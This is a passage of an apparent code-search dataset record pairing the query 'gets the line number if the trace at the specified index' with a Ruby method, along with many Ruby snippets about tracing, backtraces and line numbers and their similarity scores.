\"#{line}\"\n end",
"def trace_options\n @trace_data.trace_options\n end",
"def trace *args, &block\n\n\t\treturn nil unless tracing?\n\n\t\ttrace_with_block_ 1, args, &block\n\tend",
"def push_trace_execution_flag(should_trace = false) # THREAD_LOCAL_ACCESS\n Tracer.state.push_traced(should_trace)\n end",
"def handle_everything(user_code, in_trace)\n exe_Point_Finder(in_trace)\n @event_manager.modify_lines(user_code)\n raw_events = @event_manager.trace_list\n filtered_out_events = FilteredTraces.new([raw_events, user_code])\n filtered_out_events.return_json_string\n end",
"def trace\n BusScheme.trace = true\n yield\n ensure\n BusScheme.trace = false\n end",
"def callback_traces\n return true if @trace_buffer.empty?\n\n begin\n traces = @trace_buffer.pop\n traces = Pipeline.process!(traces)\n @trace_task.call(traces, @transport) unless @trace_task.nil?\n rescue StandardError => e\n # ensures that the thread will not die because of an exception.\n # TODO[manu]: findout the reason and reschedule the send if it's not\n # a fatal exception\n Datadog::Tracer.log.error(\n \"Error during traces flush: dropped #{traces.length} items. Cause: #{e} Location: #{e.backtrace.first}\"\n )\n end\n end",
"def Trace(string)\n if Trace.active?\n puts string\n STDOUT.flush\n end\nend",
"def remove_eval_internals_from_backtrace(backtrace)\n regexp = /^\\(eval\\)|^<main>/ # SketchUp 2017 | SketchUp 2014+\n line_number = backtrace.length\n until regexp =~ backtrace[line_number-1] || line_number == 0\n line_number -= 1\n end\n backtrace.slice!(line_number..-1)\n end",
"def trace\n attributes.fetch(:trace)\n end",
"def stacktrace_excludes=(_arg0); end",
"def trace_step(&block)\n if @trace_execution_steps_counter > 0\n puts \"Trace: \" + yield.to_s\n end\n end",
"def return_json_string\n @traces_json_string\n end",
"def _traced_method_name(method_name, metric_name)\n \"#{_sanitize_name(method_name)}_with_trace_#{_sanitize_name(metric_name)}\"\n end",
"def trace?\n Options[:trace]\n end",
"def filtered_stacktrace(stacktrace, count: 20)\n lines = []\n\n stacktrace[0..count].inject(false) do |filtered_last_line, line|\n if filter_stacktrace_entry?(line)\n lines << \"... (lines removed) ...\" unless filtered_last_line\n true\n else\n lines << shorten_path(line)\n false\n end\n end\n\n lines\n end",
"def exe_Point_Finder(trace)\n symbol_stack = []\n other_list = []\n top_symbol = ''\n exe = ''\n exe_point = ' '\n on = false\n off = false\n trace.split('').each do |i|\n current_symbol = i\n exe_point += current_symbol\n if i == '{' or i == '[' or i == '('\n symbol_stack << i\n elsif i == '}' or i == ')' or i == ']'\n if empty?(symbol_stack) == false\n top_symbol = symbol_stack.pop\n if i == '}' and top_symbol != '{'\n next\n end\n end\n elsif i == ','\n other_list << exe_point\n if symbol_stack.length.zero?\n other_list.each do |thing|\n exe += thing\n end\n if exe.include? 'startTraceNow'\n on = true\n exe = ''\n exe_point = ''\n other_list = []\n elsif exe.include? 'endTraceNow'\n off = true\n return\n else\n flag = verify_exe_point(on, off, exe)\n on = false if flag == false\n exe = ''\n exe_point = ''\n other_list = []\n end\n else\n exe_point = ''\n end\n\n else\n next\n end\n end\n end",
"def trace( crashfile, template )\n end",
"def trace( *messages )\n\t$stderr.puts( messages.join ) if Rake.application.options.trace\nend",
"def show_backtraces=(_arg0); end",
"def filter_backtrace(backtrace)\n ## remove backtraces that match any pattern in IGNORE_CALLERS\n trace = backtrace.reject{|b| IGNORE_CALLERS.any?{|i| i=~b}}\n ## remove `:in ...` portion of backtraces\n trace = trace.map do |bt| \n i = bt.index(':in')\n i ? bt[0...i] : bt\n end\n ## now apply MiniTest's own filter (note: doesn't work if done first, why?)\n trace = MiniTest::filter_backtrace(trace)\n ## if the backtrace is empty now then revert to the original\n trace = backtrace if trace.empty?\n ## simplify paths to be relative to current workding diectory\n trace = trace.map{ |bt| bt.sub(Dir.pwd+File::SEPARATOR,'') }\n return trace\n end",
"def render_debug args\n if !args.state.grid_rendered\n 65.map_with_index do |i|\n args.outputs.static_debug << {\n x: LOWREZ_X_OFFSET,\n y: LOWREZ_Y_OFFSET + (i * 10),\n x2: LOWREZ_X_OFFSET + LOWREZ_ZOOMED_SIZE,\n y2: LOWREZ_Y_OFFSET + (i * 10),\n r: 128,\n g: 128,\n b: 128,\n a: 80\n }.line\n\n args.outputs.static_debug << {\n x: LOWREZ_X_OFFSET + (i * 10),\n y: LOWREZ_Y_OFFSET,\n x2: LOWREZ_X_OFFSET + (i * 10),\n y2: LOWREZ_Y_OFFSET + LOWREZ_ZOOMED_SIZE,\n r: 128,\n g: 128,\n b: 128,\n a: 80\n }.line\n end\n end\n\n args.state.grid_rendered = true\n\n args.state.last_click ||= 0\n args.state.last_up ||= 0\n args.state.last_click = args.state.tick_count if args.lowrez.mouse_down # you can also use args.lowrez.click\n args.state.last_up = args.state.tick_count if args.lowrez.mouse_up\n args.state.label_style = { size_enum: -1.5 }\n\n args.state.watch_list = [\n \"args.state.tick_count is: #{args.state.tick_count}\",\n \"args.lowrez.mouse_position is: #{args.lowrez.mouse_position.x}, #{args.lowrez.mouse_position.y}\",\n \"args.lowrez.mouse_down tick: #{args.state.last_click || \"never\"}\",\n \"args.lowrez.mouse_up tick: #{args.state.last_up || \"false\"}\",\n \"Player.player_x: #{args.state.player.player_x.to_i}\",\n \"Player.player_y: #{args.state.player.player_y.to_i}\",\n \"Player.angle: #{args.state.player.angle.to_i}\",\n \"Active bullets: #{args.state.bullets.length}\",\n \"Active turrets: #{args.state.turrets.length}\",\n ]\n\n args.outputs.debug << args.state\n .watch_list\n .map_with_index do |text, i|\n {\n x: 5,\n y: 720 - (i * 20),\n text: text,\n size_enum: -1.5,\n\t r: 250,\n\t g: 250,\n\t b: 250,\n\t a: 250,\n }.label\n end\n\nend",
"def to_s\n @trace.to_s\n end",
"def trace(*args)\n Trace.(self, *args)\n end",
"def trace(*args)\n Trace.(self, *args)\n end",
"def to_downstream_tracefile(selectedCategory)\r\n all_traces(selectedCategory).\r\n sort_by{|x| trace_order_index(x.id) }.\r\n map{|t|\r\n \"\\n\\n[#{t.id}] **#{t.header_orig}** { }()\"\r\n }.join(\"\\n\\n\")\r\n end",
"def disable_all_tracing\n record_api_supportability_metric(:disable_all_tracing)\n\n return yield unless agent\n\n begin\n agent.push_trace_execution_flag(false)\n yield\n ensure\n agent.pop_trace_execution_flag\n end\n end",
"def set_trace_func(p0) end",
"def trace(target = nil)\n raw \"TRACE #{target}\".strip << \"\\r\\n\"\n end",
"def render_backtrace(exception)\n return unless Rails.application.config.consider_all_requests_local\n backtrace = Rails.backtrace_cleaner.filter(exception.backtrace).first(10)\n backtrace << '...'\n backtrace.join(\"\\n\")\n end",
"def trace_method_execution(metric_names, push_scope, produce_metric, deduct_call_time_from_parent, &block) #:nodoc:\n if push_scope\n trace_execution_scoped(metric_names, :metric => produce_metric,\n :deduct_call_time_from_parent => deduct_call_time_from_parent, &block)\n else\n trace_execution_unscoped(metric_names, &block)\n end\n end",
"def trace(uri, options = T.unsafe(nil)); end",
"def trace(bool)\n Options[:trace] = bool\n end",
"def trace\n DSL.new(@source.append(Trace.new))\n end",
"def visit_trace(code, ins, local_vars, ln, info)\r\n end",
"def callback_traces\n return if @trace_buffer.empty?\n\n begin\n traces = @trace_buffer.pop()\n @trace_task.call(traces, @transport)\n rescue StandardError => e\n # ensures that the thread will not die because of an exception.\n # TODO[manu]: findout the reason and reschedule the send if it's not\n # a fatal exception\n Datadog::Tracer.log.error(\"Error during traces flush: dropped #{items.length} items. Cause: #{e}\")\n end\n end",
"def traces\n trace_store.keys\n end",
"def trace_execution_scoped_footer(t0, first_name, metric_names, expected_scope, options, t1=Time.now.to_f)\n log_errors(\"trace_method_execution footer\") do\n pop_flag!(options[:force])\n if expected_scope\n scope = stat_engine.pop_scope(expected_scope, first_name, t1)\n duration = t1 - t0\n exclusive = duration - scope.children_time\n record_metrics(first_name, metric_names, duration, exclusive, options)\n end\n end\n end",
"def log_trace(log_entry = \"\")\n entry(Gml::LOG_LEVEL_TRACE, log_entry, 1)\n end",
"def stacktrace_includes=(_arg0); end",
"def texify exec_trace\n document_text = \"\"\n File.open \"preamble.tex\" do |file|\n while line = file.gets\n document_text += line\n end\n end\n document_text += \"\\\\begin{document}\\n\"\n stages = get_stages exec_trace\n stages.each do |stage|\n document_text += \"\\\\begin{frame}\\n\\n\"\n document_text += state_text stage.i_heap, stage.i_store\n document_text += \"\\n\"\n document_text += \"Current command: \"\n document_text += \"\\\\il{#{stage.text}}\"\n document_text += \"\\n\"\n document_text += \"\\\\vspace{1cm}\\n\\n\"\n document_text += state_text stage.f_heap, stage.f_store\n document_text += \"\\\\end{frame}\"\n document_text += \"\\n\"\n end\n document_text\nend",
"def trace(name)\n Thread.current[:trace] = ::Fiveruns::Dash::Trace.new(name)\n result = yield\n reporter.send_trace(Thread.current[:trace])\n Thread.current[:trace] = nil\n result\n end",
"def backtrace_cleaner; end",
"def trace!(value = true)\n options[:debug] = true if value === true\n\n Vedeu.log(\"Configuration::API trace: #{value}\")\n\n options[:trace] = value\n end",
"def trace( *msg )\n\t\t\treturn unless Rake.application.options.trace\n\t\t\toutput = colorize( msg.flatten.join(' '), 'yellow' )\n\t\t\t$stderr.puts( output )\n\t\tend",
"def format(trace_filters=[])\n filter = Proc.new {|trace| trace_filters.empty? or trace_filters.any?{|filter| filter.call(trace)}}\n StringIO.new.tap do |out|\n XES::Document.new.tap do |doc|\n doc.log = XES::Log.default.tap do |log|\n log.concept_name = \"PIONE process log\"\n log.traces += [format_agent_activity + [format_rule_process, format_task_process]].flatten.select(&filter)\n log.traces.flatten!\n end\n if doc.formattable?\n doc.format.write(out, 2)\n return out.string\n else\n raise ProcessLogFormatError.new(\"not formattable: %s\" % doc.inspect)\n end\n end\n end\n end",
"def sanitize(trace)\n points = []\n \n trace.each do |each|\n points << Geometry::Point[each[0], each[1]]\n end\n \n points\n end",
"def trace_context\n ensure_exists!\n trace.trace_context.with span_id: span_id\n end",
"def trace_js_code_used(msg, js_code, file_name = \"tmp/server-generated.js\", force: false)\n return unless ReactOnRails.configuration.trace || force\n\n # Set to anything to print generated code.\n File.write(file_name, js_code)\n msg = <<-MSG.strip_heredoc\n #{'Z' * 80}\n [react_on_rails] #{msg}\n JavaScript code used: #{file_name}\n #{'Z' * 80}\n MSG\n if force\n Rails.logger.error(msg)\n else\n Rails.logger.info(msg)\n end\n end",
"def trace text, details=nil, severity=Errlog::TRACE, &block\n details and self.details = details\n report text, severity\n end",
"def pop_trace_execution_flag # THREAD_LOCAL_ACCESS\n Tracer.state.pop_traced\n end",
"def filter(backtrace); end",
"def filter(backtrace); end",
"def trace_execution_scoped_header(options, t0=Time.now.to_f)\n scope = log_errors(\"trace_execution_scoped header\") do\n push_flag!(options[:force])\n scope = stat_engine.push_scope(:method_tracer, t0, options[:deduct_call_time_from_parent])\n end\n # needed in case we have an error, above, to always return\n # the start time.\n [t0, scope]\n end",
"def trace_disabled?(options)\n !(traced? || options[:force])\n end",
"def trace_id\n if Datadog.configuration.tracing.trace_id_128_bit_logging_enabled &&\n !Tracing::Utils::TraceId.to_high_order(@trace_id).zero?\n Kernel.format('%032x', @trace_id)\n else\n Tracing::Utils::TraceId.to_low_order(@trace_id)\n end\n end",
"def _untraced_method_name(method_name, metric_name)\n \"#{_sanitize_name(method_name)}_without_trace_#{_sanitize_name(metric_name)}\"\n end",
"def disable_profiling=(_arg0); end",
"def trace(target = nil)\n send_data(\"TRACE #{target}\".strip)\n end",
"def encode_traces(traces)\n to_send = []\n traces.each do |trace|\n to_send << trace.map(&:to_hash)\n end\n encode(to_send)\n end",
"def trace(begX, begY, endX, endY)\n solve(begX, begY, endX, endY)\n if @maze_trace.empty?\n return\n else\n @maze_trace.each do |i|\n print \"#{i} -> \"\n end\n print \"exit\"\n end\n end",
"def disable # :nodoc:\n @trace_point.disable\n end",
"def trace?\n !!@trace\n end",
"def output_specific_warnings\n tracer_warnings = self.get_specific_warnings\n unless tracer_warnings.count == 0\n puts ''\n puts tracer_warnings\n end\n end",
"def to_s\n # Ideally, SymbolicValues shouldn't escape into trace world, and\n # we shouldn't require this if condition. However, they do escape.\n # This is because of the symbolic values being stored in concrete\n # hashes and arrays in SymbolicResult#each or SymbolicArray#map.\n if tracer.tracing?\n return self.ast.to_s\n end\n @to_s ||= begin\n to_s_var = TraceAST::Var.new(\"to_s\")\n var = tracer.new_var_for(TraceAST::Dot.new(self.ast,to_s_var))\n # Except for nil and empty string, to_s never\n # returns an empty string.\n SymbolicNonEmptyString.new var\n end\n end",
"def trace!(*methods)\n@_traced = @_traced || []\n# Remember the set of traced methods\n# If no methods were specified, use all public methods defined\n# directly (not inherited) by the class of this object\nmethods = public_methods(false) if methods.size == 0\nmethods.map! {|m| m.to_sym } # Convert any strings to symbols\nmethods -= @_traced\n# Remove methods that are already traced\nreturn if methods.empty?\n# Return early if there is nothing to do\n@_traced |= methods\n# Add methods to set of traced methods\n# Trace the fact that we're starting to trace these methods\nSTDERR << \"Tracing #{methods.join(', ')} on #{object_id}\\n\"\n# Singleton methods are defined in the eigenclass\neigenclass = class << self; self; end\nmethods.each do |m|\n# For each method m\n# Define a traced singleton version of the method m.\n# Output tracing information and use super to invoke the\n# instance method that it is tracing.\n# We want the defined methods to be able to accept blocks, so we\n# can't use define_method, and must instead evaluate a string.\n# Note that everything between %Q{ and the matching } is a\n# double-quoted string, not a block. Also note that there are\n# two levels of string interpolations here. #{} is interpolated\n# when the singleton method is defined. And \\#{} is interpolated\n# when the singleton method is invoked.\neigenclass.class_eval %Q{\ndef #{m}(*args, &block)\nbegin\nSTDERR << \"Entering: #{m}(\\#{args.join(', ')})\\n\"\nresult = super\nSTDERR << \"Exiting: #{m} with \\#{result}\\n\"\nresult\nrescue\nSTDERR << \"Aborting: #{m}: \\#{$!.class}: \\#{$!.message}\"\nraise\nend\nend\n}\nend\nend",
"def trace_execution_scoped(metric_names, options={})\n return yield if trace_disabled?(options)\n\n metric_names = Array(metric_names)\n first_name = metric_names.shift\n return yield if first_name.nil?\n\n set_if_nil(options, :metric)\n set_if_nil(options, :deduct_call_time_from_parent)\n additional_metrics_callback = options[:additional_metrics_callback]\n start_time, expected_scope = trace_execution_scoped_header(options)\n\n begin\n result = yield\n metric_names += Array(additional_metrics_callback.call) if additional_metrics_callback\n result\n ensure\n trace_execution_scoped_footer(start_time, first_name, metric_names, expected_scope, options)\n end\n end",
"def behavior_trace\n if @behavior\n puts @behavior.send(:ancestors).reverse.map{|a| a.inspect}.join(\"\\n\"); puts @behavior.inspect; puts\n else\n puts \"No behavior to trace #{self}\"\n end\n end"
] | [
"0.6041274",
"0.6006499",
"0.5920284",
"0.5894594",
"0.5885749",
"0.58806366",
"0.58528924",
"0.5831939",
"0.5730669",
"0.5609301",
"0.5577233",
"0.5537164",
"0.5499167",
"0.5472909",
"0.5422381",
"0.53958225",
"0.5350669",
"0.53487486",
"0.52871054",
"0.5236721",
"0.52265984",
"0.52249414",
"0.5218265",
"0.5218141",
"0.5187446",
"0.5174842",
"0.51455885",
"0.51422143",
"0.5141732",
"0.513403",
"0.51032996",
"0.50943685",
"0.50939524",
"0.50912637",
"0.50864935",
"0.50844175",
"0.5050746",
"0.50451064",
"0.5038893",
"0.5026433",
"0.5011375",
"0.5007539",
"0.49973196",
"0.49871552",
"0.49816197",
"0.49776763",
"0.4967453",
"0.49660978",
"0.49514773",
"0.49417126",
"0.49394694",
"0.49385917",
"0.4934065",
"0.4932189",
"0.49198186",
"0.49193493",
"0.49193493",
"0.4902711",
"0.49012956",
"0.48886883",
"0.48880652",
"0.48825473",
"0.4873423",
"0.4868161",
"0.4853443",
"0.48480642",
"0.48283517",
"0.4827746",
"0.48250183",
"0.4821693",
"0.48021236",
"0.4801805",
"0.4793634",
"0.4784313",
"0.47807562",
"0.47663996",
"0.47659332",
"0.47585505",
"0.47583735",
"0.4754323",
"0.47537544",
"0.47434348",
"0.47340703",
"0.4728138",
"0.4728138",
"0.4726024",
"0.47253194",
"0.47082245",
"0.47064024",
"0.46874958",
"0.46852785",
"0.46830583",
"0.46751842",
"0.46624422",
"0.46573144",
"0.46528795",
"0.46393487",
"0.46297678",
"0.46260297",
"0.4625295"
] | 0.56369483 | 9 |
Sets the line number | def set_line(line_number)
@line_number = line_number
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def lineno=(num)\n num = Maglev::Type.coerce_to(num, Fixnum, :to_int)\n @_st_lineno = num\n $. = num\n num\n end",
"def line_number\n @line_number_overwrite || default_line_number\n end",
"def line_numbering(value)\n @document_builder.line_numbering = value\n end",
"def lineno= integer\n #This is a stub, used for indexing\n end",
"def update_line_numbers!\n each_with_index do |lo, new_line_number|\n lo.line_number = new_line_number\n end\n end",
"def line_number\n\t\t\t@line_index + 1\n\t\tend",
"def line_number\n raise \"This loader doesn't support line_number\"\n end",
"def start_line_number=(_); end",
"def track_line_number(line_number)\n @min_line_number = line_number if line_number < min_line_number\n @max_line_number = line_number if line_number > max_line_number\n self\n end",
"def line(number)\n end",
"def lineno=(p0) end",
"def lineno=(p0) end",
"def lineno=(p0) end",
"def line_number=(_arg0); end",
"def line_number=(_arg0); end",
"def line_number=(_arg0); end",
"def line_number; end",
"def line_number; end",
"def line_number; end",
"def line_number; end",
"def line_number; end",
"def line_number; end",
"def line_number; end",
"def line(number); end",
"def lineno=(arg0)\n end",
"def line_num; end",
"def line_numbering=(on_or_not)\n s9_document_builder.setLineNumbering(on_or_not)\n end",
"def start_line_number; end",
"def start_line_number; end",
"def current_line_number; end",
"def line_number\n env(:line_number).to_i - 1\n end",
"def line_number(pos=pos())\n line_index(pos) + 1\n end",
"def line_number(pos=pos)\n line_index(pos) + 1\n end",
"def line_number\n @value.line_number if @value.respond_to?(:line_number)\n end",
"def setLine (line)\n @line = line\n end",
"def assign_line_numbers\n line_num = 1;\n\n @line_num = [ ]\n @tokens.each do |token|\n @line_num << line_num\n line_num += token.count \"\\n\"\n end\n end",
"def line_id\n @line_number - 1\n end",
"def default_line_number\n return current_layout.line_count\n end",
"def with_line_numbers(y_n = true)\n alter do\n @with_line_numbers = y_n\n end\n end",
"def with_line_numbers(y_n=true)\n alter do\n @with_line_numbers = y_n\n end\n end",
"def lineno\n @__line\n end",
"def lineno=\n end",
"def change_line(line_num, text) \n\t\traise \"no newlines here yet please\" if text =~ /\\n/\n\t\n\t\tix1, ix2 = line_index(line_num) + 1, line_index(line_num + 1)\n\t\t@text[ix1...ix2] = text\n\t\t(line_num...@line_indices.length).each { |i| @line_indices[i] += text.length - (ix2 - ix1) }\n\tend",
"def line=(line)\n @session.request(:vim_set_current_line, line)\n end",
"def line_numbers=(line_numbers)\n filter_run_including :line_numbers => line_numbers.map{|l| l.to_i}\n end",
"def visible_line_number\r\n return 5\r\n end",
"def transaction_set_line_number(index)\n ['LX', index.to_s.rjust(4, '0')].join(@element_seperator)\n end",
"def line_number\n number[6..-1]\n end",
"def new_line!(number)\n if @preprocessor.line_first\n @packet.send_packet\n @packet.add_line(number.to_i)\n else\n @packet.add_line(number.to_i)\n @packet.send_packet\n end\nend",
"def lineno\n @lineno || uninitialized!\n end",
"def lineno; end",
"def lineno; end",
"def lineno; end",
"def _increment_file_line()\n\t\t@reading_line += 1\n\tend",
"def with_marker(line_num=1)\n alter do\n @with_marker = !!line_num\n @marker_line_num = line_num\n end\n end",
"def line(number)\n lines[number - 1]\n end",
"def lineno\n end",
"def lineno\n end",
"def visible_line_number\n return 4\n end",
"def visible_line_number\n return 4\n end",
"def line_number\n $curwin.cursor.first\n end",
"def lineno() end",
"def lineno() end",
"def lineno() end",
"def visible_line_number\n return 1\n end",
"def visible_line_number\n return 1\n end",
"def pos=(pos)\n if self.pos > pos\n @previous_line_number = @start_line_number\n @previous_pos = 0\n end\n super\n end",
"def lineno=(_arg0); end",
"def line_one=(line_one)\n @line_one = line_one\n end",
"def line\n 1\n end",
"def fixed_line_number\n FFaker.numerify('6### ####')\n end",
"def line\n buffer[line_number]\n end",
"def source_line(lineno); end",
"def target_line_number\n model.source_location(target_symbol)[:line_number]\n end",
"def normalized_line_number(line_number, total_lines)\n line_number < 0 ? line_number + total_lines : line_number\n end",
"def line=(line)\r\n members.each {|m| m.line = line}\r\n @line = line\r\n end",
"def line(n)\n @lines[n]\n end",
"def exec_env_line_number\n index('insert').y\n end",
"def lineno\n @_st_lineno\n end",
"def lineno()\n #This is a stub, used for indexing\n end",
"def location=((filename, lineno))\n @filename = filename\n @lineno = lineno if lineno\n end",
"def original_line_number(new_line)\n # First of all, convert the line number to an integer\n new_line = new_line.to_i\n\n if @phase == :execute\n # It's the execute phase, so we have more to do\n if @augmented_code.nil?\n # We haven't augmented the code with line numbers or anything\n number_of_prepended_lines = make_runnable(\"\").count(\"\\n\")\n return new_line - number_of_prepended_lines\n\n else\n # Pull the offending line out of the augmented code\n augmented_code_lines = @augmented_code.lines\n if new_line > augmented_code_lines.length\n # We were not able to find the line the error message refers to. Shouldn't happen.\n return \"<unbekannt>\"\n else\n # Check if the line has a line number comment\n ln = PythonCodeAugmenter.extract_line_number(augmented_code_lines[new_line - 1])\n if ln.nil?\n return \"<unbekannt>\"\n else\n return ln\n end\n end\n end\n\n else\n # It's not the execute phase, so we can simply return the line number\n return new_line\n end\n end",
"def possibly_add_line_number_comment(line)\n if @state[:ll_end]\n return line + \" # WPLINE_#{@state[:line_number]}\"\n else\n return line\n end\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def set_line\n @line = Line.find(params[:id])\n end",
"def set_line\n @line = Line.find(params[:id])\n end",
"def set_line\n @line = Line.find(params[:id])\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def linenumber\n return @cmd.nil? ? 0 : @cmd.linenumber\n end",
"def line_number\n lines_read.length\n end",
"def <<(lo)\n lo.line_number = size\n super(lo)\n end",
"def line_index(num)\n\t\tif num == 0\n\t\t\treturn -1\n\t\telsif num <= @line_indices.length\n\t\t\treturn @line_indices[num - 1]\n\t\telsif num == @line_indices.length + 1\n\t\t\treturn @text.length\n\t\telse\n\t\t\treturn -999 # todo\n\t\tend \n\tend",
"def line\n\t\t\[email protected](buffer.line.start, buffer.line.end)\n\t\tend",
"def liquid_line_number\n @line_number\n end"
] | [
"0.80674815",
"0.7915055",
"0.7709483",
"0.7512962",
"0.7491955",
"0.7491835",
"0.73757076",
"0.7301996",
"0.7254114",
"0.7139814",
"0.7121126",
"0.7121126",
"0.7120693",
"0.7105037",
"0.7105037",
"0.7105037",
"0.7085615",
"0.7085615",
"0.7085615",
"0.7085615",
"0.7085615",
"0.7085615",
"0.7085615",
"0.70800704",
"0.7052069",
"0.6981969",
"0.69236416",
"0.6901769",
"0.6901769",
"0.6891991",
"0.6886223",
"0.68802804",
"0.68766475",
"0.6819077",
"0.6768891",
"0.67537683",
"0.67254066",
"0.66825014",
"0.66548145",
"0.6649772",
"0.6627074",
"0.65896845",
"0.6549863",
"0.65297705",
"0.64817977",
"0.6465628",
"0.6445975",
"0.641917",
"0.6395364",
"0.6393832",
"0.6384425",
"0.6384425",
"0.6384425",
"0.63525987",
"0.6330951",
"0.62816644",
"0.6281592",
"0.6281592",
"0.627534",
"0.627534",
"0.62529075",
"0.624946",
"0.624946",
"0.624946",
"0.6232216",
"0.6232216",
"0.62075347",
"0.620689",
"0.617843",
"0.61510473",
"0.6106607",
"0.6102138",
"0.60997164",
"0.60863626",
"0.6077629",
"0.6075317",
"0.60608023",
"0.605878",
"0.604133",
"0.6023376",
"0.6019671",
"0.6001074",
"0.5996712",
"0.5981511",
"0.5981511",
"0.5981511",
"0.5981511",
"0.5981511",
"0.597308",
"0.597308",
"0.597308",
"0.5972753",
"0.5972753",
"0.5972753",
"0.5955803",
"0.59495044",
"0.59488785",
"0.59468526",
"0.59368384",
"0.59316826"
] | 0.8918514 | 0 |
gets the line number if the trace at the specified index | def get_line_number(index)
if @list_of_events.length.zero?
puts 'list is empty'
else
temp_event = @list_of_events[index]
temp_event.line_number
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def line_number\n return unless backtrace and backtrace[0]\n\n backtrace[0].split(\":\")[1].to_i\n end",
"def line_number\n\t\t\t@line_index + 1\n\t\tend",
"def line_number(pos=pos)\n line_index(pos) + 1\n end",
"def line_number(pos=pos())\n line_index(pos) + 1\n end",
"def line_index()\n end",
"def line_number\n env(:line_number).to_i - 1\n end",
"def get_lineno\n RubyVM::Frame.get(1).source_location[0]\n end",
"def extract_line_number(backtrace)\n return unless backtrace\n backtrace = backtrace.to_a\n return unless backtrace.length > 1\n m = backtrace.first.match(/^.+:(\\d+):/)\n return unless m and m.length > 1\n m[1]\n end",
"def lineNum()\n caller_infos = caller.first.split(\":\")\n # Note caller_infos[0] is file name\n # caller_infos[1]\n return \"Line no. #{caller_infos[1]}\"\nend",
"def line\n backtrace[0].match(Pattern)[1].to_i + 1\n end",
"def line_number; end",
"def line_number; end",
"def line_number; end",
"def line_number; end",
"def line_number; end",
"def line_number; end",
"def line_number; end",
"def line_number\n @value.line_number if @value.respond_to?(:line_number)\n end",
"def line_number=(_arg0); end",
"def line_number=(_arg0); end",
"def line_number=(_arg0); end",
"def lineNum()\n caller_infos = caller.first.split(\":\")\n # Note caller_infos[0] is file name\n caller_infos[1]\nend",
"def line_index(num)\n\t\tif num == 0\n\t\t\treturn -1\n\t\telsif num <= @line_indices.length\n\t\t\treturn @line_indices[num - 1]\n\t\telsif num == @line_indices.length + 1\n\t\t\treturn @text.length\n\t\telse\n\t\t\treturn -999 # todo\n\t\tend \n\tend",
"def from_line_index\n from_line - 1\n end",
"def line_number\n number[6..-1]\n end",
"def __caller_line_number__(caller_depth=0)\n return if RUBY_ENGINE == 'opal'\n caller[caller_depth] && caller[caller_depth][PutsDebuggerer::STACK_TRACE_CALL_LINE_NUMBER_REGEX, 1].to_i\n end",
"def current_line_number; end",
"def line_offset(line_index)\n return unless line_exists?(line_index)\n line_index == 0 ? 0 : @line_lengths[0..(line_index - 1)].sum\n end",
"def line(number)\n lines[number - 1]\n end",
"def lineno()\n #This is a stub, used for indexing\n end",
"def lineno\n @__line\n end",
"def get_trace_id(line)\n return line.split(\"\\t\")[1].to_i\nend",
"def line_id\n @line_number - 1\n end",
"def line\n backtrace.first.split(\":\")[1]\n end",
"def lineno\n @_st_lineno\n end",
"def lineNum() # Had to move this to above the first call or it didn't work. Didn't think that was necessary\n caller_infos = caller.first.split(\":\")\n # Note caller_infos[0] is file name\n caller_infos[1]\nend",
"def line\n buffer[line_number]\n end",
"def line_number\n @line_number_overwrite || default_line_number\n end",
"def line_num; end",
"def line_number\n raise \"This loader doesn't support line_number\"\n end",
"def linenumber\n return @cmd.nil? ? 0 : @cmd.linenumber\n end",
"def line\n return 1 unless lexing_context && locator\n locator.line_for_offset(lexing_context[:end_offset])\n end",
"def get_indexfile_with_line number\n IO.readlines(@indexfile)[number]\n end",
"def find_calling_line(trace, method_name)\n trace.each_cons(2) do |line, next_line|\n if /(.*):(\\d+):in .(.*)'/ =~ line && \n $3 == method_name &&\n /(.*):(\\d+):in .(.*)'/ =~ next_line\n return [$1,$2]\n end\n end\n nil\n end",
"def lineno\n @source.lineno\n end",
"def compute_line_index\n scanner = StringScanner.new(@string)\n result = [0] # first line starts at 0\n while scanner.scan_until(/\\n/)\n result << scanner.pos\n end\n @line_index = result\n end",
"def line(number); end",
"def lineno= integer\n #This is a stub, used for indexing\n end",
"def start_line_number; end",
"def start_line_number; end",
"def visible_line_number\n return 1\n end",
"def visible_line_number\n return 1\n end",
"def lineno; end",
"def lineno; end",
"def lineno; end",
"def line(number)\n end",
"def get_index(name_line)\n index_found = -1\n pattern = /\\(TestRail:.*\\:\\s*([0-9]+)\\s*\\)/\n just_cases = pattern.match(name_line)\n if ! just_cases.nil?\n index_found = just_cases[1].to_i\n end\n return index_found\n end",
"def line_index(pos=pos())\n p = n = 0\n string.each_line do |line|\n p += line.length\n return n if p >= pos\n n += 1\n end\n 0\n end",
"def line_for_offset(offset)\n if line_nbr = line_index.index {|x| x > offset}\n return line_nbr\n end\n # If not found it is after last\n return line_index.size\n end",
"def line(n)\n @lines[n]\n end",
"def line_number\n $curwin.cursor.first\n end",
"def lineno\n end",
"def lineno\n end",
"def visible_line_number\r\n return 5\r\n end",
"def lineno\n @lineno || uninitialized!\n end",
"def visible_line_number\n return 4\n end",
"def visible_line_number\n return 4\n end",
"def line_index(pos=pos)\n p = n = 0\n string.each_line do |line|\n p += line.length\n return n if p >= pos\n n += 1\n end\n 0\n end",
"def line_number\n location = caller_locations.find do |loc|\n loc.path.include? 'rakefile'\n end\n location ? location.lineno : 0\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def count_line_offset(index)\n Array(@spinners[index..-1]).reduce(0) do |acc, spinner|\n if spinner.spinning? || spinner.done?\n acc += 1\n end\n acc\n end\n end",
"def lineno() end",
"def lineno() end",
"def lineno() end",
"def get_line_number(error)\n error_to_line_number(error, get_doc(error.test_execution.artifact, error.file_name))\n end",
"def lineno=(_arg0); end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line_for_position(position); end",
"def line_for_position(position); end",
"def line_for_position(position); end",
"def previous_code_line(line_number); end",
"def start_line_number=(_); end",
"def target_line_number\n model.source_location(target_symbol)[:line_number]\n end",
